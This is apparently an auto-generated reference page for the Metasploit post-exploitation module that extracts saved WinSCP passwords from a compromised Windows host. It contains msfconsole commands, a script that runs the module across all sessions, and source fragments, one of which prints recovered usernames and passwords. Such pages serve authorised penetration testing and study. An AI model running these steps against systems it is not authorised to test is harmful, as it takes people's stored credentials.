Windows Gather WinSCP Saved Password Extraction - Metasploit


This page contains detailed information about how to use the post/windows/gather/credentials/winscp metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

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Module Overview

Name: Windows Gather WinSCP Saved Password Extraction
Module: post/windows/gather/credentials/winscp
Source code: modules/post/windows/gather/credentials/winscp.rb
Disclosure date: -
Last modification time: 2021-10-06 13:43:31 +0000
Supported architecture(s): -
Supported platform(s): Windows
Target service / protocol: -
Target network port(s): -
List of CVEs: -

This module extracts weakly encrypted saved passwords from WinSCP. It searches for saved sessions in the Windows Registry and the WinSCP.ini file. It cannot decrypt passwords if a master password is used.

Module Ranking and Traits

Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage

There are two ways to execute this post module.

From the Meterpreter prompt

The first is by using the "run" command at the Meterpreter prompt. It allows you to run the post module against that specific session:

meterpreter > run post/windows/gather/credentials/winscp

From the msf prompt

The second is by using the "use" command at the msf prompt. You will have to figure out which session ID to set manually. To list all session IDs, you can use the "sessions" command.

msf > use post/windows/gather/credentials/winscp
msf post(winscp) > show options
    ... show and set options ...
msf post(winscp) > set SESSION session-id
msf post(winscp) > exploit

If you wish to run the post against all sessions from framework, here is how:

1 - Create the following resource script:


framework.sessions.each_pair do |sid, session|
  run_single("use post/windows/gather/credentials/winscp")
  run_single("set SESSION #{sid}")
  run_single("run")
end

2 - At the msf prompt, execute the above resource script:

msf > resource path-to-resource-script

Required Options

  • SESSION: The session to run this module on.

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Msfconsole Usage

Here is how the windows/gather/credentials/winscp post exploitation module looks in the msfconsole:

msf6 > use post/windows/gather/credentials/winscp

msf6 post(windows/gather/credentials/winscp) > show info

       Name: Windows Gather WinSCP Saved Password Extraction
     Module: post/windows/gather/credentials/winscp
   Platform: Windows
       Arch: 
       Rank: Normal

Provided by:
  theLightCosine <[email protected]>

Compatible session types:
  Meterpreter

Basic options:
  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  SESSION                   yes       The session to run this module on.

Description:
  This module extracts weakly encrypted saved passwords from WinSCP. 
  It searches for saved sessions in the Windows Registry and the 
  WinSCP.ini file. It cannot decrypt passwords if a master password is 
  used.

Module Options

This is a complete list of options available in the windows/gather/credentials/winscp post exploitation module:

msf6 post(windows/gather/credentials/winscp) > show options

Module options (post/windows/gather/credentials/winscp):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SESSION                   yes       The session to run this module on.

Advanced Options

Here is a complete list of advanced options supported by the windows/gather/credentials/winscp post exploitation module:

msf6 post(windows/gather/credentials/winscp) > show advanced

Module advanced options (post/windows/gather/credentials/winscp):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   VERBOSE    false            no        Enable detailed status messages
   WORKSPACE                   no        Specify the workspace for this module

Post Actions

This is a list of all post exploitation actions which the windows/gather/credentials/winscp module can do:

msf6 post(windows/gather/credentials/winscp) > show actions

Post actions:

   Name  Description
   ----  -----------

Evasion Options

Here is the full list of possible evasion options supported by the windows/gather/credentials/winscp post exploitation module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 post(windows/gather/credentials/winscp) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

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Error Messages

This module may fail with the following error messages:

Error Messages

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

User <HKU> is using a Master Password, cannot recover passwords

Here is a relevant code snippet related to the "User <HKU> is using a Master Password, cannot recover passwords" error message:

44:	      next if masterpw.nil?
45:	
46:	      regexists = 1
47:	      if masterpw == 1
48:	        # Master Password used to add AES256 encryption to stored password
49:	        print_error("User #{hive['HKU']} is using a Master Password, cannot recover passwords")
50:	        next
51:	
52:	      else
53:	        # Take a look at any saved sessions
54:	        savedpwds = 0

No Saved Passwords found in the Session Registry Keys

Here is a relevant code snippet related to the "No Saved Passwords found in the Session Registry Keys" error message:

88:	            protocol: sname
89:	          })
90:	        end
91:	
92:	        if savedpwds == 0
93:	          print_status("No Saved Passwords found in the Session Registry Keys")
94:	        end
95:	      end
96:	    end
97:	
98:	    if regexists == 0

No WinSCP Registry Keys found!

Here is a relevant code snippet related to the "No WinSCP Registry Keys found!" error message:

94:	        end
95:	      end
96:	    end
97:	
98:	    if regexists == 0
99:	      print_status("No WinSCP Registry Keys found!")
100:	    end
101:	    unload_our_hives(userhives)
102:	  end
103:	
104:	  def run

Target does not have environment variable APPDATA

Here is a relevant code snippet related to the "Target does not have environment variable APPDATA" error message:

111:	      prog_files_env = 'ProgramFiles(x86)'
112:	    end
113:	    env = get_envs('APPDATA', prog_files_env, 'USERNAME')
114:	
115:	    if env['APPDATA'].nil?
116:	      fail_with(Failure::Unknown, 'Target does not have environment variable APPDATA')
117:	    elsif env[prog_files_env].nil?
118:	      fail_with(Failure::Unknown, "Target does not have environment variable #{prog_files_env}")
119:	    elsif env['USERNAME'].nil?
120:	      fail_with(Failure::Unknown, 'Target does not have environment variable USERNAME')
121:	    end

Target does not have environment variable <PROG_FILES_ENV>

Here is a relevant code snippet related to the "Target does not have environment variable <PROG_FILES_ENV>" error message:

113:	    env = get_envs('APPDATA', prog_files_env, 'USERNAME')
114:	
115:	    if env['APPDATA'].nil?
116:	      fail_with(Failure::Unknown, 'Target does not have environment variable APPDATA')
117:	    elsif env[prog_files_env].nil?
118:	      fail_with(Failure::Unknown, "Target does not have environment variable #{prog_files_env}")
119:	    elsif env['USERNAME'].nil?
120:	      fail_with(Failure::Unknown, 'Target does not have environment variable USERNAME')
121:	    end
122:	
123:	    user_dir = "#{env['APPDATA']}\\..\\.."

Target does not have environment variable USERNAME

Here is a relevant code snippet related to the "Target does not have environment variable USERNAME" error message:

115:	    if env['APPDATA'].nil?
116:	      fail_with(Failure::Unknown, 'Target does not have environment variable APPDATA')
117:	    elsif env[prog_files_env].nil?
118:	      fail_with(Failure::Unknown, "Target does not have environment variable #{prog_files_env}")
119:	    elsif env['USERNAME'].nil?
120:	      fail_with(Failure::Unknown, 'Target does not have environment variable USERNAME')
121:	    end
122:	
123:	    user_dir = "#{env['APPDATA']}\\..\\.."
124:	    user_dir << "\\.." if user_dir.include?('Users')
125:

Unable to store following credentials in database as we are unable to resolve the IP address: <E>

Here is a relevant code snippet related to the "Unable to store following credentials in database as we are unable to resolve the IP address: <E>" error message:

153:	  def winscp_store_config(config)
154:	    begin
155:	      res = client.net.resolve.resolve_host(config[:hostname], AF_INET)
156:	      ip = res[:ip] if res
157:	    rescue Rex::Post::Meterpreter::RequestError => e
158:	      print_error("Unable to store following credentials in database as we are unable to resolve the IP address: #{e}")
159:	    ensure
160:	      print_good("Host: #{config[:hostname]}, IP: #{ip}, Port: #{config[:portnumber]}, Service: #{config[:protocol]}, Username: #{config[:username]}, Password: #{config[:password]}")
161:	    end
162:	
163:	    return unless ip

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See Also

Check also the following modules related to this module:

Authors

  • theLightCosine

Version

This page has been produced using Metasploit Framework version 6.2.29-dev. For more modules, visit the Metasploit Module Library.

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